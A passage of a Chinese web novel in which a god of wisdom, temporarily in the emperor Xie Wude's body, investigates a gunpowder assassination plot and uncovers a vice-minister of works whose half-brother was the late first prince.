不排除计算机自动生成有探案天赋的人,不过那就要谢吾德自己去发掘了。 谢吾德想不明白,于是他干脆求助外援:【老温,你觉得是不是又是琅琊王氏在搞我?】 有什么事情首先怀疑最势力最大的那一个。 不过温特却说:【我觉得不太可能。你别忘了,和其他世家相比,琅琊王氏已经开始转型了。他们现在宣传的口风可是人人平等。虽然琅琊王氏也不喜欢那些平民百姓来和他们抢机会,可是他们宣传的学说其实和这次的机会是可以完美重合的。虽然你觉得这像是让琅琊王氏捅自己,但是在别的世家看来,是琅琊王氏配合你去捅别的世家。】 琅琊王氏的思路很明显了。 如果继续循规蹈矩下去,那么迟早会被谢吾德和整个天下抛弃,所以他们选择直接更换赛道。 他们已经从世家准备往学阀方向去转型了。 荣朝一直都支持各个学派的发展,谢吾德在这件事情上没有进行任何变更,所以琅琊王氏的目的就是成为类似真实时空的“孔家”,成为统治者必须依赖的存在。 这个世界没有汉朝“独尊儒术”,孔子也没有成为“至圣先师”,这个世界的琅琊王氏的目标不是“王与马共天下”,而是成为“王圣”。 【所以对于其他世家来说,琅琊王氏现在也算是他们中的叛徒了吧?】谢吾德捏着下巴说,【不过其他人有这个胆子去对付琅琊王氏吗?琅琊王氏比他们加起来都更强】 【琅琊王氏的确很强,甚至比其他世家加起来更强。】温特笑了笑,还是说道,【但这不代表其他世家就会对他们卑躬屈膝。之前也只是没有让他们团结起来的理由,现在有了。】 谢吾德,世界第一嘲讽怪。 温特微妙的表情有些怪异。 温特和亚夏都不喜欢得罪人,谢吾德则是生怕不把人得罪死。 不过在这件事情上也不好说谢吾德什么,这不能怪谢吾德,就算谢吾德不得罪人,那些人只要感受到谢吾德威胁到了他们的统治,那不管谢吾德是什么性格都得死。 谢吾德听得连连点头:【我觉得你很有这方面的能力啊。】 温特的智商上限远高于亚夏和谢吾德。 不是温特变异了。 毕竟是死亡与智慧之神。 当初亚夏设计了基于灵魂学的计算机,运行这个计算机需要亡者献上灵魂,使用计算机的人出于公平,也需要主动签订契约,在死后成为计算机的一部分。 这些人在死后也可以保留思考能力,探索真理。 他们规避了真正的“死亡”,就要向温特献上全部的“智慧”。 不过这种规避死亡的方式并没有流传出去,随着那个世界的人类发明了其他计算机,这种需要献上灵魂拷贝,听上去非常邪恶的计算机也逐渐被淘汰了,只有在法术相关的领域有着超越其他计算机的优势。 温特并没有向别人透露死亡和灵魂真相的意思,所以收集到的灵魂越来越少。 但是已经收集到的灵魂也够用了。 亚夏和温特推进的很多项目都是依靠这些亡者科研团队进行。 温特收集的灵魂多种多样,就算除了犯罪学专家和法医学家,还有其他干什么都成功的聪明人。 充当个侦探完全不在话下。 他也挺想看看温特会怎么解决这件事。 温特有一种不好的预感:【不是,你想要干什么?我不陪你玩的。你敢乱来我就要咬你了。】 第92章 王旭被扣在边上的偏殿里,他出去是想为谢吾德排忧解难,让谢吾德看看琅琊王氏的态度多积极。 然而就在他出去没多久之后,他就看到了爆炸。 余文彦自己都因为冲击波踉跄了一下,摔在地上,他看着那场爆炸,脑子里轰的一声,感觉也要爆炸了。 他担心的都不是谢吾德会不会被炸死。 与余文彦产生对比的是,王旭作为谢吾德的受害者,想的是如果谢吾德真的就这么被炸死那就好了。 可惜,谢吾德是个祸害,祸害不是那么容易死的。 谢吾德会不会死在这里,但是他怀疑自己有没有可能成为其他世家的替罪羊。 他们琅琊王氏看起来实在是太过于可疑了。 琅琊王氏是这次事件的直接参与者,如果有什么事情,其他人第一时间怀疑的就是他们。 这次把他押到偏殿的锦衣卫都用格外凶狠的眼神看着他。 琅琊王氏派人来了,这次的事情虽然大,但是还是允许其他人进来的,不过进来了就别想出去了,省得有些人销毁证据。 王旭一看来的人是王钧,就深深地吸了一口气:“家里有没有什么事?” 说句不好听的,现在最希望家里爆炸的恐怕就是王旭了。 只有他家炸了,他们琅琊王氏才不会被认为是这次的凶手。 至少,没那么可疑,说起这件事情来也有狡辩的借口。 他能和谢吾德一样成为这次事件的受害者。 王钧不愿意参加到琅琊王氏最近的一些活动中,但是就算不参加,他也没有离开琅琊王氏独自打拼的想法。他更喜欢搞艺术,这都是需要花钱的,不离开琅琊王氏才能够安心地去做这些事情。 王钧也是忧心忡忡的,他在听到这件事情之后就第一时间赶来了:“没有。你有没有发现什么苗头?” “你还不知道吗?这件事其他人绝对把我们完全排除在外了,他们现在看我们就跟看敌人一样。”王旭在角落转着圈。 王钧深深地叹了口气。 王旭做的实在是太急了,和其他世家交恶太快了,可是琅琊王氏也没有办法,情况紧急,容不得他们温柔地处理事情。 “你有听到什么口风吗?”王旭非常相信自己这个堂叔的能力。 王钧的性格虽然在皇宫中有点混不下去,但是要是说起和世家的人打交道,那王钧几乎是无往不利。 他这个人风流肆意,对于皇帝而言这种性格有点碍眼,也很不好控制,但是却很对世家的胃口。 王钧叹了一口气,也说到:“拜你们所赐。” 再天花乱坠的社交技巧,也顶不过利益的冲突。 “如果我知道什么,一定会和你们说的。”王钧补充了一句。 ……完了。 王旭的大脑飞速地运转着,思考着他们可能的狡辩方式。 “谢吾德会相信我们吗?”王旭问了一个有点绝望的问题。 问完他就知道王钧会是什么反应了。 谁还不知道谢吾德不爱动脑子? 谢吾德对琅琊王氏是什么态度,他们还不清楚吗? 别看谢吾德暂时放过了琅琊王氏,但是只要找到机会,他很有可能就直接把琅琊王氏给撕碎。 琅琊王氏最后就算是沉冤昭雪了,谢吾德也不会复活他们的。 好感度完全没到位。 “你有面见皇帝吗?” “余文彦把我拦下来了。”王旭说了另外一个让他比较忧心的点——余文彦。 余文彦可是一直想弄死他们。琅琊王氏之前也算是余文彦的主家了。 最让余文彦担心的就是琅琊王氏哪一天会反扑。 死掉的前老板才是最好的前老板。 琅琊王氏还是太大了。 这样大的一个世家,很容易就成为各方的靶子。 他们收获了最大的利益,但是也拉了最多的仇恨。 以前还能说一句“不招人妒是庸才”,但现在他们有点弱势了,招人恨就成了一件很危险的事。 还没等王旭找到破局的方法,他就听到有太监赶过来对他们说道:“陛下要召见所有人。” 包括王旭在内的很多人都默默地摸向了自己的脑袋——该不会真的要被谢吾德给杀了吧? 现在已经是凌晨时分,但是整个皇宫都灯火通明,所有人都心惊胆战,生怕自己一不小心被牵连。 他们彼此审视着,就像是在试探谁会把自己拖入深渊,就连平时关系不错的人此刻也不敢多交谈些什么,个个都屏住呼吸。 经过这几个月的相处,很多人已经习惯了谢吾德的脾性。 谢吾德杀人如麻吗? 的确是,死在他手中的世家数量远超之前任何一个皇帝。 但是其实如果没有什么特殊的原因,他也不会无缘无故地杀人。 世家们已经能够感觉到,现在的百姓不仅是能不能被他们煽动着去造反的问题了,他们甚至都不愿意正常交租,甚至交税的意愿都减少了。 一直以来,皇权都很难伸到乡下,收租征粮都是他们世家和被世家控制的地方官所做的事情。 他们相互勾结,彼此庇护,百姓们为了一口吃的只能够忍气吞声。 有时候到了皇朝末年,他们做得更过分了,百姓就会起义,不过这也没什么。 这些农民起义之后,他们世家只要重新换一个马甲,稍微表现出一些软化的态度,或者是干脆和一部分人切割,那么就能够顺利地从前朝的贵族变为新朝的贵族。 这套招数屡试不爽,他们总能保证自己是最后的赢家。 可是如今那群泥腿子在面对上门征粮的人时,往往都是往地上一躺,就说今年地里的粮没了,明年的地也不需要种了。 陛下给他们发的吃的都已经足够了,家里除了陛下发的吃的什么都没有。 世家手下那些人要是想要和那些人抢粮的,他们就会把谢吾德拉出来扯大旗,说:“有本事你们就抢走陛下赐予的粮食,回头我们就要和陛下告状!” 此前不是没有世家尝试过腐蚀锦衣卫,但是效果极差。 在谢吾德再次把一个世家满门抄斩以及隔空处决了一个锦衣卫之后,其他的锦衣卫便战战兢兢,同时也更加感谢当时李真对他们的管控。 谢吾德是真的吓人。 谢吾德在给那些锦衣卫刀枪不入的庇护的同时,同样地也在他们身上安了监控——这是和他们的防护绑定在一起的。 警惕特务机构还需要特别提醒吗? 这可都是历史上的前车之鉴。 明朝的锦衣卫、东厂、西厂,不都历历在目吗?就算是近代,不还有克格勃、CIA之类的机构搞过的种种烂事。 世家至今没有找到破局之法。 谢吾德其实不算是故意在针对他们。 他如果想要处理世家,那只不过是顺手的事。 就像是天幕之前预言的那样,直接给平民百姓分发武器,让他们直接对世家下手。 那些平民百姓对世家的怨恨颇深,只要有人愿意给他们开方便之门,他们会很乐意接受这种安排的。 只要这些普通人和谢吾德练手,世家很难有反手的能力。 世家很相信谢吾德并没有针对他们的意思。 但是谢吾德却十分自然而然地在各个方面把世家逼入了绝境:在地方上剥夺了世家从民间攫取财富的能力,在官场上逐渐开始培养能够取代他们世家的官僚。 这一切不过是他的游戏。 谢吾德就像是强行挤进房子里的大象,他甚至都不需要做什么就可以压死屋子里所有的人。 他只是在玩,世家则是在搏命。 所以他们更想杀死谢吾德了。 他们在看着谢吾德的时候几乎已经没有对个人的仇恨了,他们看谢吾德就像是在看天灾一样。 所谓天灾,那就是超出人类这个群体所能够掌握的上限。 对于自然界所降下来的灾害,所谓的愤怒根本就没有多少意义。 他们应该做的只有咬着牙和天灾对抗. 刺客就是这么想的。 他放缓自己的呼吸,盯着眼前的人的步伐,跟着对方的节奏摆动着手臂,自己则努力放松着自己的身体,不让任何人看出他身上的问题。 这次动手的人没有和任何人讨论这件事情,他只是凭借着手头上的那些信息自己做了。 只要他能做成这件事情,那么他之后得到的声名和好处就一点也不少。 这件事情并不复杂,并不需要多少人,只需要他稍微放下身段,能够忍受一点脏污,在几个月中完全能够独自完成。 谢吾德应该不会把他们所有的人都杀了,一个个去读取他们的记忆——这种事情根本就不符合谢吾德平时所展现出来的行为逻辑。 在他实行这个计划之前,他可是反复地回忆、确认关于谢吾德的一切。 他之前也考虑过如果这次的计划失败了该怎么办,但是他觉得事情其实可能在可控范围内。 如果和别人说这件事情,那么对方的第一反应就是他疯了,还是被谢吾德传染疯了。 杀死谢吾德? 开玩笑吧! 可是他觉得这是有可能的。 谢吾德是一个很缺乏耐心的人,他睚眦必报,但是一般来说有什么仇他当场就报了,很少把事情拖得很长,哪怕这样可以给对方带来更多的折磨他也不干。 他是个急性子,几乎是希望当场就能够看到成效。 如果没有当场处理掉,他之后就会有一定的概率懒得去做这件事情了。他没忘,就是情绪过去了,拖延的毛病上来了,懒得处理了。 他给人的感觉就像是任性的孩童一样,不愿意花费太多时间在忍耐上,想要什么就要立刻得到。 所以只要把整件事情调查的难度增加,谢吾德就会对追查凶手这件事情逐渐丧失兴趣,到时候说不定可以赌一下谢吾德会懒得处理这件事情。 当时谢吾德浏览陈老爷子记忆的时候其实花了不短时间。 他读取记忆花费的时间已经远超过谢吾德故弄玄虚所花费的时间。 读取记忆对谢吾德来说是一个相当耗时的行为,它就像是精致的艺术品一样,需要工匠花费时间打磨,偶尔做一下还行,但是要处处都用,那实在是折腾不起。 他没有耐心一个个地去读取别人的记忆。 刺客还觉得自己可以赌一下谢吾德的粗心大意。 他知道谢吾德让锦衣卫变得刀枪不入,可是谢吾德自己呢? 谢吾德给人一种狂妄自大的感觉,他很相信自己的能力,也很相信自己对所有人的威慑力。 他平时的姿态和站位虽然不是很方便别人对他动手,可是他对自己的安全感是满满地溢出来的,他并不紧绷,还很随性。 就像是走在路上的高门子弟从来不会觉得那些平民百姓干冲上来给他一巴掌一样。 没人会在清醒状态给猛虎一巴掌。 可是这就是大意,只要一击得手,那么之后的事情就好解决了。 他并不知道谢吾德在邱家军的事情。 他只是觉得他如果在谢吾德不经意的时候出手,就有成功的可能。 风险很大,但是收益也很大。 只可惜最后还是失败了。 谢吾德居然意外地谨慎。 当他抬起头来看向谢吾德,总觉得现在的谢吾德看上去和他平时的感觉很不一样。 第93章 今天的皇帝依然是不拘小节地坐在了桌子上,双脚下垂,只是一条腿在轻微地晃着,另一条腿自然地下垂。 在听到声音之后,他只是瞥了一眼。 他那双蓝色的眼睛在看过别人的时候,让所有人感觉自己都像是被冻住了一样。 就好像……清明的夜晚路过墓地了一样。 出现在这里的人相比起宴会一开始少了很多,在这个大点中,这些人显得非常稀少,但是加上之后赶来沟通的人,也有几十个人。 刺客握紧了拳头,他没有看谢吾德,他只是低着头看着地面,像是其他所有人一样被这突如其来的变故吓到了。 现在坐在皇位上的谢吾德和往常看上去很不一样,眼神沉静,却让底下的人感到一种前所未有的压力。 众人看着坐在桌子上面的那个蓝眼男人,他们本来已经做好了谢吾德大发雷霆的准备,甚至脑子里已经做好了之后可能会血流成河的预警。 然而皇帝并没有像其他人想象的那样暴跳如雷。 他只是坐在那里,看上去比平日里少了几分随性,多了几分端正,手里拿着一本书,伸手翻动着书页,满脸的专注,甚至连睫毛眨动的次数都减少了。 安静。 端正。 理智。 他现在看上去几乎就是谢吾德的反面。 所有人的心脏都被“谢吾德”现在的表现搞得发毛。 他们不怕谢吾德发癫,因为发癫对于谢吾德来说是常态。 他们怕的是谢吾德不发癫,因为不发癫对于谢吾德这个人来说才是罕见的。 他们看着坐在上面的温特,脑子里忽然有了一个恐怖的想法:谢吾德之前的一些表现,该不会都是装的吧?就是为了骗他们,让他们以为谢吾德是一个满脑子都是肌肉的家伙? 如果他们能够保持理智的话,他们就会知道这件事情根本就不可能,谢吾德也没有必要这么做。 当超级力量能够横扫一切的时候,哪里需要手段。 谢吾德要是有这样的心机和耐心的话,他就有把人的脑子一个个切开检查对方思想的耐心了。 不过现在大家都很慌乱,所以才忽略了这么重要的点。 他们忽然又注意到了这个宫殿的情况。 殿中点着一片片的蜡烛,黄色的烛火让各色金属装饰反着光,让整个宫殿看上去都金碧辉煌的。地砖无比平整,上面没有半点灰尘。 他们完全看不出这附近有爆炸的痕迹。 如果不是亲眼看见爆炸,他们都会怀疑自己是不是也疯掉,或者干脆他们是在做梦。 温特等了一会,他才抬起头,在这群人的胸口一一扫过,最后目光落在了一个人身上,他伸出手指着那个人:“你。” 这个人正是那个刺客。 他努力保持着和其他人完全相同的表情,站在那里低着头,脸上没有漏出任何奇怪的表情,他恭敬地行礼:“陛下,臣在。” 周围的人默默地离这个人远了一点,他们都不知道温特为什么找上他,但是温特找上他,恐怕没有什么好事。 温特的手点着那个人:“虽然你的呼吸频率和其他人并没有什么区别,但是你的胸口起伏的弧度比其他人要大百分之流逝,而且停顿时间也更长。你在紧张什么?” 这个虽然拿AI也能得出结果,但是温特用不着。 他只是看了一圈就看出来哪个家伙最可疑了。 他刚刚把工部中的关于这个宫殿建造的事情全部飞快地浏览了一遍,已经在脑海里构建出了大致的框架。 温特用的词和常人用的词完全不一样,不过结合字面上的意思,他们也能够大致理解温特在说些什么。 那个人连忙说道:“陛下,我只是听闻您遇到了刺杀,实在是心绪不宁。” 【是兴奋难耐吧?】谢吾德对自己有着清醒的认知,他对这个人说的话嗤之以鼻,【还心绪不宁呢,你说我都不敢听。】 如果他真的死透了,世家恐怕会想要敲锣打鼓放烟花庆祝这大好事。 “哦,对了,你是做什么的?”温特不经意地问道。 周围的人立刻说道:“这位是工部的侍郎李嗣喜。” “工部啊……”温特觉得事情到了这一步,他大致能够猜到是怎么回事了。 这件事情本身就和工部相关。 工部负责督造这些东西,如果有什么问题,当然要从负责制造这些火药的地方开始调查了。 【好了,温特,用不着你了,我现在就把他给杀掉。】谢吾德开始摩拳擦掌。 温特帮谢吾德把范围缩小了。 温特阻止了谢吾德:【既然你把这些事情交给我了,那你从头到尾就要听我的。】 谢吾德不太高兴地哼唧了两声,但是还是安静了下来。 温特继续补充道:【而且你不觉得需要搞清楚他是怎么知道这个地道的?】 温特的手在旁边的资料上扫过。 【李嗣喜来自上蔡李氏,至少在资料上,上蔡李氏在北荣时就和锦京没有什么联系,他们主攻的也是法家的学说,李嗣喜也是从荣朝建立起第一个在工部做到侍郎的人。想要挖地道还能不被别人发现,那么至少得是一个高官。我也不觉得这是琅琊王氏跟他们通风报信。】 温特同样也相信琅琊王氏都不知道这个地下通道的存在,王旭现在的反应和别人没有什么差别,而且琅琊王氏以前势力都集中在北方,在琅琊和开封附近。 现在他们在锦京的势力如此强大都是因为北荣把琅琊王氏和琅琊王氏的从属带了过来,狠狠地改变了这边的结构。 【上蔡李氏和琅琊王氏对此都一无所知,所以如果真的是李嗣喜做的话,他是怎么知道的?】 【切了脑袋就知道了。】谢吾德跟他抬杠,但是也只是嘴上抬杠,并没有顶线的意思。 温特想要把事情尽量做得完美一点。 谢吾德不在意证据,但是温特还是想要把整个证据链都弄完。 在他和谢吾德说话的时候,门再次被打开了,一堆人拿着一些粉末走了进来,上面有着不同的批次的标识。 温特让他们走过来,然后便对李嗣喜说道:“这是最近工部那边生产的火药。” 李嗣喜紧张地看了那些东西一眼,他说道:“是,陛下。” 李嗣喜对这些东西很熟悉。 他这段时间天天和这些东西打交道,很清楚这些东西能有多大的威力,工部这段时间下面的工坊又做了多少东西。 他当时负责的部分就是这些。 李嗣喜确定自己当时做得很完美,和自己相关的部分全都抹去了,就算皇帝拿这件事来质问他也找不到证据。 工部有做过试验,想要研究怎么样配方才能制造出威力最强大的火药,他在一些样本中动了手脚,让这些样本被认定为失败品,所以原材料最后都是被回收用到了别的地方,稍微丢一点也不会被人发现。 拿一些公家的东西也算是常规的操作了。 李嗣喜一点点地从工部偷走这些火药,偷到了现在。 李嗣喜装作想要努力证明自己的清白的样子,他一脸坚定地说出了一串名字:“他们也参与到了这件事情中,还请陛下明鉴,为臣主持公道。” 说着,他跪了下去,用力给谢吾德磕了一个头。 李嗣喜报出的名字都是那些和自己一起参与到火药的制作和研发中的工部成员,其中一些人也在这里。 他们看着李嗣喜的样子,惊得瞪大了眼睛。 李嗣喜倒霉被谢吾德盯上了,但是他们这些同事还没有,都恨不得问问他是不是和他们有仇? 他们之间没有多少感情,之前也排挤过他,但是被谢吾德盯上的人就只有死路一条,刺王杀驾可是重罪,谢吾德会毫不客气地杀人全家。 李嗣喜明显是在到处攀咬,他看上去像是完全慌了神,也不管别的什么了,只想着证明自己的清白。 他看上去弱小可怜又无助,似乎都要被谢吾德吓吐了。 余文彦盯着李嗣喜看。 他对朝廷上所有官员都算得上是熟悉,他在未来有可能和他们打交道,所以他提前把这些人的官位和背景都搞清楚了。 他原本也有点怀疑李嗣喜的,但是现在他迷惑了。 李嗣喜有这么好的演技吗? 他又为什么要这么做? 因为利益吗? 但是这个理由足以用在任何一个人身上。 可是为什么偏偏是李嗣喜? 上蔡李氏的发展一般,在中层的世家中排得也比较靠后。 李嗣喜这个工部侍郎的位置很大程度上是他娶了一个高门妻子,他岳父给他搞到的这个职位。 但是他的妻子也和谢吾德没有多大的仇。 谢吾德看着李嗣喜,因为他对李嗣喜毫无同情,所以完全没有被他这好像被人踩了的尖叫鸡的反应迷惑。 他只是摸不着头脑。 他知道自己很拉仇恨,但是好像也没让人恨到这种程度吧? 李嗣喜现在这个样子看似是在撇清自己的关系,但是更多的还是希望谢吾德重点查别人。 真要成了,他得罪的人可一点都不少,等着之后,他的同僚绝对会恨不得把他给撕了。 不是,至于吗? 【我什么时候得罪他了?】谢吾德绝对自己莫名其妙地被仇恨了。 温特不可能知道这件事。 他的确能够随时调转到谢吾德的视角,谢吾德也不介意温特看他的生活。 可是这并不代表温特就会时时刻刻盯着谢吾德看。 因为他很不喜欢谢吾德的态度。 有点没礼貌。 就像是成年人回想自己青春期干的事情,总会忍不住脚趾扣底。 温特看着旁边的一份份火药样本,他对李嗣喜说道:“你知道吗?虽然就算是被你们用相同方式称呼的东西,你们也努力提纯了,在成分上还是会有细微的干瘪的。” 就凭现在的提纯技术,是很难提纯出纯净物质的。这些火药虽然看起来都一模一样,但是来源很分散。 温特看了记录,原材料的原产地并不是同一个地方。 这个世界的科学没有发展到那么高的程度,所以他们把物质的细微差别归为是地脉之类的因素影响。 实际单纯是产地的矿产成分或者生产技术不一样。 “验证的方法有很多种,一是拿剩余的失败品实验一下,看看效果是不是真的不好,二是测测你身上有没有硝烟反应,三是……”温特摸着下巴,然后问,“说起来,当初那个‘大皇子’是怎么靠近那个皇帝的?” 挟天子以令诸侯首先要有靠近天子的本事。 谢珖是一个非常警惕的儿子的皇帝,他怎么会允许对方在他虚弱的时候靠近他? 所以大皇子肯定是通过某种方式悄悄地潜进来。 余文彦的嘴巴微微张大,大脑正在缓慢地加载信息。 ……当初谢兼贤也怀疑过这件事情,可是后来谢吾德给所有人带来的震撼实在是太大了,大家后来都快忘记了这件事,而且一切都可以用谢吾德和对方合作了来解释。 这件事情都几乎要被大家给遗忘了。 没想到当初的事情在现在还能堂堂返场? 李嗣喜的表情终于变了,他的眼角不受控地抽搐了两下。 他真没想到皇帝还能想起来这件事。 第94章 关于大皇子谢兼贤相关的事情已经无人提及了。 他就是一个死人。 他的坟头还没有长草,但是坟上的土和周围的土已经没有太大的差别了。 在谢吾德面前,他注定只能成为整个时代的一个微不足道的尘埃。 谢吾德忍不住脑洞大开,他说道:【他该不会是爱慕大皇子,想要为他报仇吧?】 谢吾德熟练地用上了狗血小说的套路、 别的不说,真的很有乐趣。 【他们本来打算一生一世一双人,最后在邪恶的我面前,他们之间的那根红线成为尘埃……】谢吾德都被自己的脑补感动了,【唉,麻绳专挑细处断。】 温特知道谢吾德在扯淡,但是谢吾德实在是太懂他自己的笑点了。 温特有点想笑,但还是憋住了。 【你要查一查这个世界的记录吗?】谢吾德实在好奇得紧。 温特也点开了程序,不过他没有直接寻找答案,只是搜集了这个世界明面上的资料。 不超过谢吾德能探查到的范围。 也就是朝堂上明面的信息。 在明面上,李嗣喜和谢兼贤的确没有什么关系,上蔡李氏也没有知道这个地道的途径。 看完这些明面上的资料,温特和谢吾德心中的疑惑并没有减少。 就算大皇子知道了地道的存在,但是大皇子会告诉李嗣喜吗? 这种事情不像是把自己看作是未来的皇帝的人会告诉自己手下的臣子的事情,毕竟他要是哪天登基了,对方如果利用这个通道把他给杀了,该怎么办? 但凡有疑心的人都会对此深感不安。 【该不会是狸猫换太子吧?】谢吾德又有了新的想法。 这里可是以宋朝为原型的世界,虽然很多事情发展规律不一样,但是很多细节上会参考历史去进行。 “狸猫换太子”在历史上纯属是野史、故事级别的东西,但这方面的思路是完全可能被AI参考的。 【说不定李嗣喜才是真正的谢兼贤,而谢兼贤只是放在明面上的傀儡。说不定谢兼贤自己都不知道自己是傀儡,最后螳螂捕蝉,黄雀在后。在谢兼贤以为自己获得胜利之后,被李嗣喜狠狠揭穿,最后取而代之。】谢吾德越说越兴奋,【搞不好李嗣喜其实是个女性,女性当不了皇帝,所以她妈才把她和皇子换了。】 温特也乐于和谢吾德交流一下这种扯淡的事情,虽然他多看几眼就能从对方的骨骼等特征确定这九十个男人,他查了一下资料:【李嗣喜比大皇子大不少呢。如果是狸猫换太子的话,以小孩子的发育速度来说,差得也太大了。】 小孩子一天一个样,几个月的差别看上去都天翻地覆,是很难隐藏过去的。 温特也配合谢吾德,他也顺势提出了一个想法:【说不定是言情小说的发展方向。李嗣喜喜欢的姑娘嫁给了皇子,然后在她的哀求之下,李嗣喜投靠了大皇子,愿意为他效犬马之劳。现在皇子妃应该过得不怎么好,所以她就更加有动力去为他复仇了。】 谢吾德没有去对付大皇子、二皇子的妻儿老小的想法,但是那些人生活质量垂直下降是肯定的。 如果是谢吾德在线的话,他大概会把这些脑洞直接说出来。 【你觉得这能是温柔男二型角色?】温特看看李嗣喜。 谢吾德自己也扒拉起了资料,他自己也否定了这个想法:【不对呀,李嗣喜不是有妻子吗?他现在的位置还是他妻子给他争取过来的。作为温柔男二,这有点不洁诶。】 【这不是小说,这是现实。】温特提醒了他一句。 这个时代的人只要生理功能正常,家里人还真能让他一生不结婚吗? 就算自己愿意,家里的父母都不愿意。 就算是在现代,也有大把的人顶不住家里的压力,最后选择去相亲、去结婚。 更别说这个年代的人了。 他们对香火的追求根本不是现代人能够理解的。 不敢说绝对没有这样的痴情人,但是实在是太少了。 如果林耀祖在这里,她一定要吐槽谢吾德:“陛下,你到底看了多少奇奇怪怪的小说、电影啊?”. 温特比亚夏要健谈得多,但却不像谢吾德那样多话。 除了之前提问的时候,其他时候温特都是尽量保持沉默。 所以余文彦就出来代替他提问。 所以李嗣喜为什么会和谢兼贤扯上关系? “该不会他和大皇子有一腿吧……”余文彦不知道为什么脑子里忽然响起了这样的声音。 片刻之后,他才反应过来——自己是觉得今天的谢吾德很安静。 在这种时候,谢吾德应该说两句骚话,让所有人都震惊一下,可是现在的谢吾德只是坐在那里,沉默得不像是谢吾德这个人。 谢吾德话多的时候让他们坐立难安,但是现在一句话不说,他又想跟谢吾德喊一句“老公你说句话……不对,陛下,你说一句话呀”。 别说之前李嗣喜怀疑谢吾德是不是在给他们下套,就连余文彦这个勉强算得上是谢吾德近臣的人,也时不时的怀疑:谢吾德的性格是不是有伪装的成分呢? 他的性格真的很不常见,也很不稳定,很多操作还是互相矛盾的。 之前他还听尔雅说过,他们见到了一个“从头到尾都不说话”的谢吾德。 谢吾德很多行为真的是相当让人迷惑。 到底哪一个样子才是谢吾德的真实的样子呢? 这大概是一个很难找到答案的问题。 然后,余文彦隐约听到王旭咕哝了一句:“……谢兼贤总不能是李嗣喜那个相好吧?” 这话说得非常模糊,几乎微不可查。 如果刚刚不是余文彦也这么想的话,恐怕也没办法分辨出来。 很好,看来大家都很了解谢吾德了,都已经深刻地体会到了谢吾德能说出来什么话了。 余文彦看了一圈这些人,想要从他们身上看看能不能搞到什么线索。 这些人看上去都很茫然。 但是其中一些年纪比较大的人表情看上去不太自在。 余文彦眼皮一跳,他有理由怀疑这些家伙绝对知道什么。 这些年纪大的老头一个比一个心思多。他们平日里说话做事都滴水不漏,此刻露出这种表情,只说明他们本身就想要向皇帝透露实情,借机谄媚圣上。 只是又不好意思让自己看起来太谄媚,所以才搞出一副欲言又止的样子,就等着余文彦发现并且过来质问他们。 所以说这种老头还真是恶心。 要不是皇帝被刺杀的事情实在是太大了,他是半点都不想管这件事。 他就装傻充愣。 反正谢吾德也不会理会他这种心思,最急的就是这群老头了。 “侯爷是有什么话想说吗?”余文彦压抑着不耐烦问道。 这位安定侯立刻脸上那无奈的表情变得更加明显了,他支支吾吾地说道:“老臣……老臣……” 行吧,又想卖别人,又不想被别人看出自己是卖了他的人。 余文彦厉声说道:“在陛下面前,你还敢撒谎?” 安定侯叹了一口气:“老臣……老臣之前听过一些关于先帝的事情。” “先帝?谢珖。”温特很讨厌谢珖,只要想到有人把谢珖和他扯上关系挺就觉得浑身难受。 之前在做这个设定的时候,主要是想要找一个能被谢吾德理直气壮凌虐的皇帝。 良心过得去。 但是如果真要让他和他们扯上什么关系,那温特觉得自己好几天都能被恶心得吃不下饭。 安定侯一时语塞,这话可不是一个臣子能说的。 就算这事谢吾德说了,他也不能附和半点。 李嗣喜却不在意谢吾德的这些“小事”,他直接看向了安定侯说道:“我之前一直敬重侯爷,但是没想到侯爷居然是如此八卦多嘴的人。” 安定侯却说:“如果今日臣不说,陛下就不会知道么?陛下手眼通天,怎可如此轻慢他。” 谢吾德在温特的耳边嘀嘀咕咕的——他一直都是一个喜欢嘀嘀咕咕、跟熟悉的人话很多的类型。 【好烦呢,这群家伙什么时候能直接直奔正题?谁在意这件事情是不是涉及到了别人家的隐私,我只想吃瓜。】他抱怨完之后又开始哼哼唧唧。 温特只能用手敲着桌子说道:“如果你们不愿意说的话,可以不说,不强求。” 温特的态度不像谢吾德那么强硬。 温特虽然没有谢吾德说话那样吓人,但他开口说话的时候给人一种不容置疑的感觉。谢吾德下决定的时候会让人觉得“不听他说话就完蛋了”,但是温特说话,却是让人忍不住地想要配合他。 “整件事情能够用一句话简单结束吗?”温特这一句话说出来,在余文彦耳中听着又有谢吾德那味了。 这种不管三七二十一,首先要一个概括的,的确也是谢吾德的作风。 于是安定侯就说道:“一句话说……李嗣喜他和谢敬贤是同母异父的兄弟。” 李嗣喜的表情彻底垮了下去。 温特愣了一下,他的大脑也有点宕机。他在脑子里稍微过了一圈——他想到之前温特提到过李嗣喜的年纪比谢敬贤大。那这意味着什么?还用说吗? 【我靠,不是吧……】谢吾德发出了感叹的声音,【原来是是兄弟骨科和饺子好香的剧情。】 温特:【……】直接把前面几个版本连成串了吗? 【我还是更喜欢骨科本。】温特也不着调地说。 第95章 温特没有继续之前他和谢吾德讨论的内容,而是问:【魏武帝?何时来的?】 因为谢珖是个皇帝,所以是“魏武帝”而不是“曹丞相”。 不过和谢珖比起来,曹操都那么英明神武了。 事情已经很明显了,大家原本都能猜到谢兼贤和李嗣喜绝对是有关系的,但是谁能想到他们根本就是同母异父的关系? 谢吾德一直都很清楚谢珖不是好人,他很讨厌谢珖这种人,但是吧,人讨厌的程度也是分层次的。 有的人只是懒得搭理,有的人是看到就想翻白眼,而有的人看到了不踹一脚都觉得自己心里云门。 谢吾德一直以为谢珖是走的那种类似东边邻居那一套的“知小礼而无大义”,自己没什么能力,还喜欢让别人歌颂功德,但是他万万没想到谢珖居然能这么过分。 这人是真的实打实的不掺多少优点的昏君呐。 知道谢珖糊涂,但是没想到他居然能这么糊涂。 这件事情鲜为人知主要还是因为太丢人了,说出去都好像是在侮辱人一样。 上蔡李氏的子弟,李嗣喜的爹当年进宫去拜见皇帝,却万万没想到皇子看上自己的妻子。 当时谢珖看上去还有个人样,他们也非常想要进步,所以在谢珖流露出这样的意向后,就顺理成章地将妻子献给了皇帝。 这件事情着实是一个丑闻,无论是上蔡李氏还是谢珖都一直在努力淡化这件事情。 至于那位被奉献的夫人本人的意见并不重要,她儿子的想法也不重要。 这位夫人在家中本身也没有什么地位,她来自一个落魄的世家。 这件事情就那么不在乎当事人的想法那样地发生了。 其实上蔡李氏并没有得到什么好处。 谢珖当初看上去像是礼贤下士,但是那只是做戏,上蔡李氏以为自己手上有皇帝的把柄就能做什么,但是实际上,皇帝就算有什么好处也只是给那位夫人的母家和她生的孩子。 上蔡李氏算什么? 前夫哥吗? 笑死人了。 